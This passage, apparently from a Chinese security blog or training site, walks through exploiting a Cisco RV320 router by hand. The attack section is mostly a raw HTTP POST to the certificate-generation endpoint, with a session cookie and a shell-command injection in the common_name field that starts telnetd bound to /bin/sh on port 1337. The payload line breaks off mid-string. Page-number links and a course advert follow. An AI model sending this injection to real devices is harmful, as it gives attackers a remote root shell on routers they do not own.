github上的利用poc由于不支持目标的自签名证书 https://github.com/0x27/CiscoRV320Dump/blob/master/easy_access.py 这里就手动发包进行测试
POST /certificate_handle2.htm?type=4 HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: mlap=RGVmYXVsdDk6Ojo6Y2lzY28=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
page=self_generator.htm&totalRules=1&OpenVPNRules=30&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A&organization=A&organization_unit=A&email=ab%40example.com&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&SelectSubject_s=1&common_name=a%27%24%28telnetd%20-l%20%2Fbin%2Fsh%20-
payload执行后会用telnet在本地监听1337口
连接验证
总结
cisco设备国内互联网公司和企事业用得不多,近年来都被国产品牌替换了。
python的poc经常会遇到一些历史遗留问题,比如tls版本过低,依赖库安装报错不兼容等等问题,建议还是用go写poc,利人利己。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

